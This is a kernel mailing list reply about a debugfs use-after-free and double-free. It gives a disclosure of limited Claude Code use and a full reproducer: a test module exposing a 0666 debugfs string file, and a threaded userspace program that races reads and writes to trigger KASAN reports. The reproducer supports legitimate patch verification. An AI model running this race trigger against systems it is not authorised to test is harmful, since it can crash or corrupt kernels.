Re: [PATCH v2 0/2] debugfs: fix UAF and double-free in debugfs_str read/write
From: Aldo Ariel Panzardo
Date: Sun Sep 27 2026 - 16:29:47 EST
On Sun, Sep 27, 2026 at 06:34:44PM +0200, Greg Kroah-Hartman wrote:
> No LLM was used to generate the patch?
> Again, no LLM for all of this?
I did use Claude Code during the process, but I want to be precise
about how. It did not find the bug, produce the analysis, or generate
the patch for me. sashiko.dev originally pointed out the missing RCU
protection on the read side. I then manually traced the pointer
lifetime and the write path, where I found the concurrent-writer double-free.
I used Claude Code only as an additional reviewer for spelling and grammar,
minor rewording, formatting, and as a sanity check for obvious mistakes.
I wrote the patch and changelog myself, and the technical analysis,
implementation, KASAN testing, reproducer, and verification were all done by me.
Given that limited use, would you still prefer that I add an Assisted-by
tag for the LLM in the next revision? I want to make sure I disclose the
tooling correctly without attributing technical work that it did not actually contribute.
My background is security research -- I spend most of my time auditing
code for memory safety issues and race conditions, among other things,
which is how I ended up looking at this code after sashiko flagged the
missing RCU protection.
> I'd like to see the userspace test scripts for this...
Sure. Below is the reproducer I used.
Result without fix: ~3900 "BUG: KASAN: double-free in
debugfs_write_file_str" on 7.3-rc4.
Result with fix: 0 reports.
In-tree callers of debugfs_create_str() with writable files
(vulnerable to the double-free):
drivers/interconnect/debugfs-client.c:165 src_node (0600)
drivers/interconnect/debugfs-client.c:166 dst_node (0600)
drivers/soundwire/debugfs.c:361 firmware_file (0200)
Read-only callers (drivers/opp, sound/soc/sof, arm_scmi, i915) are
exposed to the read-path UAF but not the double-free.
== debugfs_race.c (kernel module) ==
// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/debugfs.h>
#include <linux/slab.h>
static struct dentry *dir;
static char *test_str;
static int __init race_init(void)
{
test_str = kstrdup("initial_value_1234567890", GFP_KERNEL);
if (!test_str)
return -ENOMEM;
dir = debugfs_create_dir("str_race", NULL);
debugfs_create_str("test", 0666, dir, &test_str);
pr_info("debugfs_race: /sys/kernel/debug/str_race/test created\n");
return 0;
}
static void __exit race_exit(void)
{
debugfs_remove_recursive(dir);
kfree(test_str);
}
module_init(race_init);
module_exit(race_exit);
MODULE_LICENSE("GPL");
== poc.c (userspace reproducer, gcc -O2 -pthread -o poc poc.c) ==
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <sched.h>
#define PATH "/sys/kernel/debug/str_race/test"
#define ITERS 5000
static volatile int go;
static void *reader_fn(void *arg)
{
char buf[512];
int fd = open(PATH, O_RDONLY);
if (fd < 0) return NULL;
while (!go) sched_yield();
for (int i = 0; i < ITERS; i++) {
lseek(fd, 0, SEEK_SET);
read(fd, buf, sizeof(buf));
}
close(fd);
return NULL;
}
static void *writer_fn(void *arg)
{
int fd = open(PATH, O_WRONLY);
if (fd < 0) return NULL;
while (!go) sched_yield();
for (int i = 0; i < ITERS; i++) {
lseek(fd, 0, SEEK_SET);
write(fd, "AAAAAAAAAAAAAAAA", 16);
}
close(fd);
return NULL;
}
int main(void)
{
pthread_t t[16];
int i, n;
if (access(PATH, F_OK) != 0) {
fprintf(stderr, "Load debugfs_race.ko first.\n");
return 1;
}
/* readers vs writers */
go = 0; n = 0;
for (i = 0; i < 4; i++) pthread_create(&t[n++], NULL, reader_fn, NULL);
for (i = 0; i < 4; i++) pthread_create(&t[n++], NULL, writer_fn, NULL);
go = 1;
for (i = 0; i < n; i++) pthread_join(t[i], NULL);
/* writers vs writers */
go = 0; n = 0;
for (i = 0; i < 8; i++) pthread_create(&t[n++], NULL, writer_fn, NULL);
go = 1;
for (i = 0; i < n; i++) pthread_join(t[i], NULL);
printf("Done. Check: dmesg | grep KASAN\n");
return 0;
}
== Makefile ==
KDIR ?= /lib/modules/$(shell uname -r)/build
obj-m += debugfs_race.o
all: modules poc
modules:
$(MAKE) -C $(KDIR) M=$(CURDIR) modules
poc: poc.c
gcc -O2 -pthread -o poc poc.c
clean:
$(MAKE) -C $(KDIR) M=$(CURDIR) clean
rm -f poc
thanks,
Aldo